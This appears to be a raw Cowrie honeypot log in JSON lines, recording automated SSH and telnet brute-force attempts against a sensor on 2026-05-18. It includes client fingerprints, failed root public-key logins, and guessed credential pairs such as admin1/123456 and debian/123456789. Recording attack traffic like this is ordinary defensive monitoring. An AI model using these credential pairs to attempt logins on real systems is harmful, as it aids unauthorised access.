{"eventid":"cowrie.session.closed","duration":14.971243858337402,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:11.643381Z","src_ip":"152.42.224.71","session":"ac80d6deb3fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:11.846585Z","src_ip":"45.156.87.204","session":"c29b65ebef5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:12.932956Z","src_ip":"45.156.87.204","session":"c29b65ebef5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49974,"dst_ip":"159.203.135.109","dst_port":22,"session":"911e6bda9a32","protocol":"ssh","message":"New connection: 45.156.87.204:49974 (159.203.135.109:22) [session: 911e6bda9a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:14.946476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:14.951832Z","src_ip":"45.156.87.204","session":"911e6bda9a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:15.069571Z","src_ip":"45.156.87.204","session":"911e6bda9a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:15.668822Z","src_ip":"45.156.87.204","session":"911e6bda9a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:16.754531Z","src_ip":"45.156.87.204","session":"911e6bda9a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193285942078,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:17.165813Z","src_ip":"152.42.224.71","session":"54c9b20fbd10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.68050479888916,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:18.398520Z","src_ip":"152.42.224.71","session":"c539c4780b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49986,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ebb2273ac5","protocol":"ssh","message":"New connection: 45.156.87.204:49986 (159.203.135.109:22) [session: 82ebb2273ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:18.892837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:18.899473Z","src_ip":"45.156.87.204","session":"82ebb2273ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:18.982013Z","src_ip":"45.156.87.204","session":"82ebb2273ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:19.233398Z","src_ip":"45.156.87.204","session":"82ebb2273ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:20.325653Z","src_ip":"45.156.87.204","session":"82ebb2273ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23096faf340","protocol":"telnet","message":"New connection: 152.42.224.71:48044 (10.17.0.5:23) [session: c23096faf340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:20.832344Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41182,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef7326c294d","protocol":"ssh","message":"New connection: 45.156.87.204:41182 (159.203.135.109:22) [session: 1ef7326c294d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:22.462924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:22.480090Z","src_ip":"45.156.87.204","session":"1ef7326c294d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:22.547161Z","src_ip":"45.156.87.204","session":"1ef7326c294d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:22.866783Z","src_ip":"45.156.87.204","session":"1ef7326c294d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.8.31.109","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8544bbba261","protocol":"ssh","message":"New connection: 46.8.31.109:45008 (10.17.0.5:22) [session: d8544bbba261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:23.017214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:23.024839Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:23.196340Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:23.951889Z","src_ip":"45.156.87.204","session":"1ef7326c294d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:e4:47:c9:de:e3:2a:6f:4f:89:60:cf:11:c8:c8:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKOV5KKf2AWgcY2cz+VQPGSPYXKZ9jNOWYV7vvAoa2hqc65wbAMfxFdgdwL25phHCjw0txwIIDQGmQ5YUmL7CHaNn068YqLQKXruSAPFvHEtPUybIpjvFGiKC1VEkJiSi+i5rW8kqh8CsCoCHyWrdcBp6/XidHsw1rn5vBXKNRao8IDhvDDPRAhpWTEml4kcNu5RSGZ6hiGXCbo0nrBBaLbxZV9cDXEypn5cmurgeOgtbKXE1fgknH5XZbbWbOjPAD195ThSxFTZTVdB45nDZhtYqrD4i/GVfaNHJePwt8iYBhDkYr0KxuGn4GWkGLoINVhO14bkP/slmkvm36nquZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:e4:47:c9:de:e3:2a:6f:4f:89:60:cf:11:c8:c8:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.026351Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:e4:47:c9:de:e3:2a:6f:4f:89:60:cf:11:c8:c8:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKOV5KKf2AWgcY2cz+VQPGSPYXKZ9jNOWYV7vvAoa2hqc65wbAMfxFdgdwL25phHCjw0txwIIDQGmQ5YUmL7CHaNn068YqLQKXruSAPFvHEtPUybIpjvFGiKC1VEkJiSi+i5rW8kqh8CsCoCHyWrdcBp6/XidHsw1rn5vBXKNRao8IDhvDDPRAhpWTEml4kcNu5RSGZ6hiGXCbo0nrBBaLbxZV9cDXEypn5cmurgeOgtbKXE1fgknH5XZbbWbOjPAD195ThSxFTZTVdB45nDZhtYqrD4i/GVfaNHJePwt8iYBhDkYr0KxuGn4GWkGLoINVhO14bkP/slmkvm36nquZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.030746Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:46:f8:27:c6:fd:97:d4:c2:3a:bb:05:fe:2d:cf:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBH6dnlMT3glO17gExDaYqVIoYS/dMn+WYK5T0P3fw3YHKW2Y/jqdIJT5hEXtbpMR/N9YJu3SS7caE4krchrR6nAfQ9+se1RYAU/4WLZVw4MZfGmOrhu5Y7Ar7Qeu020fh2bBlSAPasMbl0rDckwrTieE+KYF6h3UaIgCWnDTQWyPKIuVqMvi/o21KdlhUDEprN6XFbeiauJwhxe4/LJDVGcq+hSqMi/vMeqTDNK0vOmN5nEUHvpMd3HoyYUs3Z11LOXQp/IvoiUnv68TXy7EbHyoWqmCC1Dh/b2rJ+Z0xpJ0g9km+4H4Ivfp/w0s13l597RosvhQx/GWHr4SJr23v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:46:f8:27:c6:fd:97:d4:c2:3a:bb:05:fe:2d:cf:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.201915Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:46:f8:27:c6:fd:97:d4:c2:3a:bb:05:fe:2d:cf:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBH6dnlMT3glO17gExDaYqVIoYS/dMn+WYK5T0P3fw3YHKW2Y/jqdIJT5hEXtbpMR/N9YJu3SS7caE4krchrR6nAfQ9+se1RYAU/4WLZVw4MZfGmOrhu5Y7Ar7Qeu020fh2bBlSAPasMbl0rDckwrTieE+KYF6h3UaIgCWnDTQWyPKIuVqMvi/o21KdlhUDEprN6XFbeiauJwhxe4/LJDVGcq+hSqMi/vMeqTDNK0vOmN5nEUHvpMd3HoyYUs3Z11LOXQp/IvoiUnv68TXy7EbHyoWqmCC1Dh/b2rJ+Z0xpJ0g9km+4H4Ivfp/w0s13l597RosvhQx/GWHr4SJr23v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.206107Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:d9:53:93:e3:19:a0:c0:7c:0d:31:06:cf:c8:ba:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMeKfsXUW+5CUMFGlkvBzMc+uUN9vI7FazLkED9YpKHsrlNTFndp1Zpre+guwZOeGdhZfi+oMSGdRhH99F70/iyLNa+ZzouFyjAhkGIQGYbBtbQRIJj6hxeyalqleKqYcP2gMvCTzq3+Q6tzVmeIRk0TiRzfKEKaCGbrLWScJV9iW3A6oZAwA4KflmTC83aSpleZlWN6POHm3ahUcLXmznvoApIK31BMRj/XoWQlWb95jZHj1oSH129Pzh609dt2hKlIDvsPN/e8sKdRU3rYclJ4p3L2IFWUbDEGLN4w9goaim84anAwj0P5HN0RQl71QW6ChrCmY2Vhtw/VXF8+mt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:d9:53:93:e3:19:a0:c0:7c:0d:31:06:cf:c8:ba:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.397773Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:d9:53:93:e3:19:a0:c0:7c:0d:31:06:cf:c8:ba:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMeKfsXUW+5CUMFGlkvBzMc+uUN9vI7FazLkED9YpKHsrlNTFndp1Zpre+guwZOeGdhZfi+oMSGdRhH99F70/iyLNa+ZzouFyjAhkGIQGYbBtbQRIJj6hxeyalqleKqYcP2gMvCTzq3+Q6tzVmeIRk0TiRzfKEKaCGbrLWScJV9iW3A6oZAwA4KflmTC83aSpleZlWN6POHm3ahUcLXmznvoApIK31BMRj/XoWQlWb95jZHj1oSH129Pzh609dt2hKlIDvsPN/e8sKdRU3rYclJ4p3L2IFWUbDEGLN4w9goaim84anAwj0P5HN0RQl71QW6ChrCmY2Vhtw/VXF8+mt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.402376Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:8d:f0:6d:ca:5e:b8:01:ae:b1:6d:a9:e7:98:1c:66","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFVNgHrY/KJPMwOBHstWU0c9DpWRHXqHp1kTUdaCJxKJMG5zDObuAZ/hd68YOqw1W4BL9dsMNG9m8Qp3IypIG2mu1bgH11wulCHQcwkAEKYb07Eu+Pa0AlnST0mphVfIDYeCHmd48XQwMZUXL0URK5xrk/vLqNBnh09edcTirXzAAAAFQCv7hHNFEKnV//EKQmDVVClt72JKwAAAIBjg1nGpIUHnGqJvZzg1a75+yVrqjLDQ53xGLULTgL2sZ3P0BM2FLxTpsjx1ThE/Ya/g9qyMq0+8E7X/xipbKesQJlVnWvWM5JRPc0BHZ1S45SJQ8o3pAljYaT4QHEE5XlYzBOOoH/nA4X0PL2MOmWANFErT78N5zYa4F5gltrTPAAAAIBoZ6ZO075dDgZkReaQINC500aTbxFIvVP5hpyjQM3jPvXksq7l+O7rOGqd8fJr71CFGBZGYHr7hezLP9S3ZS9VAejgLaAXJskDh0R0P5HUeARxfO7wQzf4ISW+MFualVH9kWGhcwImxSGSbukedpIuO130PkIclODtZ46RsuarAw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 74:8d:f0:6d:ca:5e:b8:01:ae:b1:6d:a9:e7:98:1c:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.576513Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:8d:f0:6d:ca:5e:b8:01:ae:b1:6d:a9:e7:98:1c:66","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFVNgHrY/KJPMwOBHstWU0c9DpWRHXqHp1kTUdaCJxKJMG5zDObuAZ/hd68YOqw1W4BL9dsMNG9m8Qp3IypIG2mu1bgH11wulCHQcwkAEKYb07Eu+Pa0AlnST0mphVfIDYeCHmd48XQwMZUXL0URK5xrk/vLqNBnh09edcTirXzAAAAFQCv7hHNFEKnV//EKQmDVVClt72JKwAAAIBjg1nGpIUHnGqJvZzg1a75+yVrqjLDQ53xGLULTgL2sZ3P0BM2FLxTpsjx1ThE/Ya/g9qyMq0+8E7X/xipbKesQJlVnWvWM5JRPc0BHZ1S45SJQ8o3pAljYaT4QHEE5XlYzBOOoH/nA4X0PL2MOmWANFErT78N5zYa4F5gltrTPAAAAIBoZ6ZO075dDgZkReaQINC500aTbxFIvVP5hpyjQM3jPvXksq7l+O7rOGqd8fJr71CFGBZGYHr7hezLP9S3ZS9VAejgLaAXJskDh0R0P5HUeARxfO7wQzf4ISW+MFualVH9kWGhcwImxSGSbukedpIuO130PkIclODtZ46RsuarAw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.580603Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:37:e4:08:47:89:fe:b7:78:f4:9a:ed:c9:dc:13:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJBQxdk5V60LPDXta6kuIsu1AEHTOFzOtiXfAb3VM7ikSsmXFsy6stXAnBLQopdJXKWXDjJp1zW91vUcolVKXDqy/dHowjzbZAXxpjatrz2aYL/4pDMtdRNDGE+ksRUgflq24Yxu0xajaMYRYvPki9ygY3ozAVHZopVwOBaSWwTc0bLx/GPOeZK5T9HZS6Jj1Q+Y5+fa0SVZryTFd+Brky49maZh2/YS76DeXrZq/7Po93BFhpW0B+f1ll5QP4CjG5LNYbvGi58srXPvSI+BIqjmjItmIqWv6Q4WWZULUtgqyc4uUfrTyMVCHa1o02vxIse+EbzAkATTZIgyDCqLOF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:37:e4:08:47:89:fe:b7:78:f4:9a:ed:c9:dc:13:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.752038Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:37:e4:08:47:89:fe:b7:78:f4:9a:ed:c9:dc:13:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJBQxdk5V60LPDXta6kuIsu1AEHTOFzOtiXfAb3VM7ikSsmXFsy6stXAnBLQopdJXKWXDjJp1zW91vUcolVKXDqy/dHowjzbZAXxpjatrz2aYL/4pDMtdRNDGE+ksRUgflq24Yxu0xajaMYRYvPki9ygY3ozAVHZopVwOBaSWwTc0bLx/GPOeZK5T9HZS6Jj1Q+Y5+fa0SVZryTFd+Brky49maZh2/YS76DeXrZq/7Po93BFhpW0B+f1ll5QP4CjG5LNYbvGi58srXPvSI+BIqjmjItmIqWv6Q4WWZULUtgqyc4uUfrTyMVCHa1o02vxIse+EbzAkATTZIgyDCqLOF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.756045Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:24.927533Z","src_ip":"46.8.31.109","session":"d8544bbba261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4e69a81727","protocol":"ssh","message":"New connection: 45.156.87.204:41192 (159.203.135.109:22) [session: 5d4e69a81727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:26.095965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:26.101306Z","src_ip":"45.156.87.204","session":"5d4e69a81727","protocol":"ssh"}
